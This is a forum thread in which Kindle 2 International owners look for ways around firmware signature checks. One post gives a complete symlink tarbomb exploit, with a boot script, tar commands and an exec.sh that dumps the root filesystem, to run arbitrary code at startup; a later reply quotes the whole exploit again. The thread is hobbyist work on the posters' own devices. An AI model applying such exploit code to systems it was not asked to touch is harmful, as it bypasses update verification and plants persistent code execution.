kindle 2 international version require electronic signeture for updater

[naclsin]

Hi.

I got a kindle2 international version.
It's farmware（Kindle Software) is Version 2.2.
This is different Kindle2 US Version.
And it can not recognize Kindle2 firmware Updater file(.bin file)

Firest.
Dev Code is Differnet.
US Ver. is 02
International Ver. is 03


2nd.
I estimate Version 2.2 firmware require signature for install.sh script.

I rewrite dev code in existing bin file. And my Kindle2 recognize it.
But, I can not install.
(In Kindle software Version 2.2-375490138)
This is a part of log dump.

091026:013617 system: I _otaupexec:defrocessing update /mnt/us/update_unicode_fonts_liberation_install.bin
091026:013617 system: I _otaupexec:def:version is "FC02"
091026:013620 system: I _otaupexec:def:update image checksum OK
091026:013624 system: E _otaupexec:def:signature does not exist for "install.sh"
091026:013624 system: E _otaupexec:def:signature verification failed

I found source code of Kindle 2.2.1.
But I can not found binary(.bin file).
Any one know where is Ver.2.2.1 bin file?

[daffy4u]

I doubt your Kindle International needs updating but if and when it does and you want to do it manually instead of using Whispernet, you can find the .bin file on this page. If that U.S. site link doesn't work for you, search the Kindle help file on your country's Amazon site for "Kindle Software Updates".

My guess is that the Kindle Sprint and AT&T versions will probably always have different software versions because the hardware is slightly different (just as Kindle 1 and Kindle 2 U.S. do).

Please be careful, you don't want to brick your new Kindle.

[Blog Kindle]

Yep. That's how it is. Right now I'm trying to figure out a way around it if it will be possible at all - http://blogkindle.com/2009/10/hackin...first-attempt/

[clarknova]

There's a way you can break in to the K2int with a carefully crafted tarbomb. Because the update files are just tarballs that are encoded and prefixed with a header, it's an easy thing.

The update scripts (of the K1/K2/KDX, and certainly the K2int does the same) do this to unpack the bin:

extract_bundle()
{
    dd if=$1 bs=${BLOCK_SIZE} skip=1 | dm | tar -C $2 -xzvf -
}

GNU tar and BusyBox tar don't fall for tarbombs that have leading slashes or parent directory references, however, they do preserve symlinks.

So if we write a startup script that will execute arbitrary code on boot:

#!/bin/sh

EXEC=/mnt/us/exec.sh

_FUNCTIONS=/etc/rc.d/functions
[ -f ${_FUNCTIONS} ] && . ${_FUNCTIONS}

check_exec()
{
  if [ -e $EXEC ]; then
    /bin/sh $EXEC
    exit 0
  fi
}

case "$1" in
  start)
    check_exec
    ;;
  stop)
    ;;
  *)
    msg "Usage: $0 (start|stop)" W >&2
    exit 1
    ;;
esac

exit 0

We can call this S90arbitrary_code. If this is in the rc5.d directory, then it will execute (hopefully before framework, so this also gives us limited anti-brick capabilities) on startup. At which point it would look for a shell script in the root of the USB partition and execute it if it exists. Now we just need to craft the tarball on a unix machine:

# mkdir foo
# cd foo
# ln -s /etc/rc5.d bar
  #### We've just created bar which is a symlink to /etc/rc5.d
# tar cvf /tmp/bomb.tar bar
  #### Now we've added the bar symlink to /tmp/bomb.tar
# rm bar
  #### unlink bar
# mkdir bar
# cd bar
# ... create the S90arbitrary_code file ...
# chmod 755 S90arbitrary_code
   #### make it executable.
# cd ..
# tar rvf /tmp/bomb.tar bar/S90arbitrary_code
   #### append the script to the tarball.
# gzip /tmp/bomb.tar

This leaves us with /tmp/bomb.tar.gz which contains two files, bar, a symlink to /etc/rc5.d and bar/S90arbitrary_code. When unpacked it will create the symlink first, and then extract S90arbitrary_code to where that symlink points (/etc/rc5.d).

So if you then scramble the tarball (see igorsk's page), and prepend the necessary 64 byte update header, then the K2int will end up creating the /etc/rc5.d/S90arbitrary_code startup script for you when it tries to run the update. The update will fail, but it won't matter. Any code you place into a file called "exec.sh" on the USB partition of your K2int will be executed after startup (and on each reboot).

Needless to say, this isn't for everyone, and has a potential for damage. But if someone with a K2int wants in badly enough without wanting to wait for a serial console or an official update bin, then this will work, and hopefully allow them to get an image of the firmware and see what the new signature routines in the /usr/sbin/otaup script are.

Update: I just tested this on my K2(US) and it works perfectly, so it should work just as well on the K2(International).

[naclsin]

Oh! Thanks great idea.

I will try it.

And thanks, thanks...

[clarknova]

Ok, I've rolled the above into a K2(international) package. The update will purposely fail, as stated above. Initially, the exec.sh should probably be something simple like:

ls -l /etc/rc5.d > /mnt/us/lslog.txt
rm /mnt/us/exec.sh

Just to verify it worked and generates and "lslog.txt".

Then the following exec.sh could be used:

ROOTDEV=$(df | awk '/ \/$/{print $1}')
dd if=${ROOTDEV} | gzip -c -- - > /mnt/us/root.img.gz
# remove script so it doesn't do this every time it restarts.
rm /mnt/us/exec.sh

After restarting the kindle, this will cause the boot process to take anywhere between 10-30 minutes as it makes an image of the root filesystem. Once you have the image you can gunzip it on a linux box and mount it as a loop device and take a look at what's changed in the update scripts, and see if the signature can be faked...

[Blog Kindle]

clarknova, thanks for the great idea! I'll give it a try right away.

[freedomtw]

clarknova,

Great hack! With that, I got root access to my K2 (international) by putting usbnetworking and telnetd/dropbear into it. Thanks.

[iQQ]

Originally Posted by clarknova

There's a way you can break in to the K2int with a carefully crafted tarbomb. Because the update files are just tarballs that are encoded and prefixed with a header, it's an easy thing.

The update scripts (of the K1/K2/KDX, and certainly the K2int does the same) do this to unpack the bin:

extract_bundle()
{
    dd if=$1 bs=${BLOCK_SIZE} skip=1 | dm | tar -C $2 -xzvf -
}

GNU tar and BusyBox tar don't fall for tarbombs that have leading slashes or parent directory references, however, they do preserve symlinks.

So if we write a startup script that will execute arbitrary code on boot:

#!/bin/sh

EXEC=/mnt/us/exec.sh

_FUNCTIONS=/etc/rc.d/functions
[ -f ${_FUNCTIONS} ] && . ${_FUNCTIONS}

check_exec()
{
  if [ -e $EXEC ]; then
    /bin/sh $EXEC
    exit 0
  fi
}

case "$1" in
  start)
    check_exec
    ;;
  stop)
    ;;
  *)
    msg "Usage: $0 (start|stop)" W >&2
    exit 1
    ;;
esac

exit 0

We can call this S90arbitrary_code. If this is in the rc5.d directory, then it will execute (hopefully before framework, so this also gives us limited anti-brick capabilities) on startup. At which point it would look for a shell script in the root of the USB partition and execute it if it exists. Now we just need to craft the tarball on a unix machine:

# mkdir foo
# cd foo
# ln -s /etc/rc5.d bar
  #### We've just created bar which is a symlink to /etc/rc5.d
# tar cvf /tmp/bomb.tar bar
  #### Now we've added the bar symlink to /tmp/bomb.tar
# rm bar
  #### unlink bar
# mkdir bar
# cd bar
# ... create the S90arbitrary_code file ...
# chmod 755 S90arbitrary_code
   #### make it executable.
# cd ..
# tar rvf /tmp/bomb.tar bar/S90arbitrary_code
   #### append the script to the tarball.
# gzip /tmp/bomb.tar

This leaves us with /tmp/bomb.tar.gz which contains two files, bar, a symlink to /etc/rc5.d and bar/S90arbitrary_code. When unpacked it will create the symlink first, and then extract S90arbitrary_code to where that symlink points (/etc/rc5.d).

So if you then scramble the tarball (see igorsk's page), and prepend the necessary 64 byte update header, then the K2int will end up creating the /etc/rc5.d/S90arbitrary_code startup script for you when it tries to run the update. The update will fail, but it won't matter. Any code you place into a file called "exec.sh" on the USB partition of your K2int will be executed after startup (and on each reboot).

Needless to say, this isn't for everyone, and has a potential for damage. But if someone with a K2int wants in badly enough without wanting to wait for a serial console or an official update bin, then this will work, and hopefully allow them to get an image of the firmware and see what the new signature routines in the /usr/sbin/otaup script are.

Update: I just tested this on my K2(US) and it works perfectly, so it should work just as well on the K2(International).

Great! Can you please just make a tarbomb for me and let the attached bin file can be run with reboot? It's for DXi.

[jyavenard]

Originally Posted by iQQ

Great! Can you please just make a tarbomb for me and let the attached bin file can be run with reboot? It's for DXi.

You're around 6 months behind now search for the thread "how to package software for Kindle international"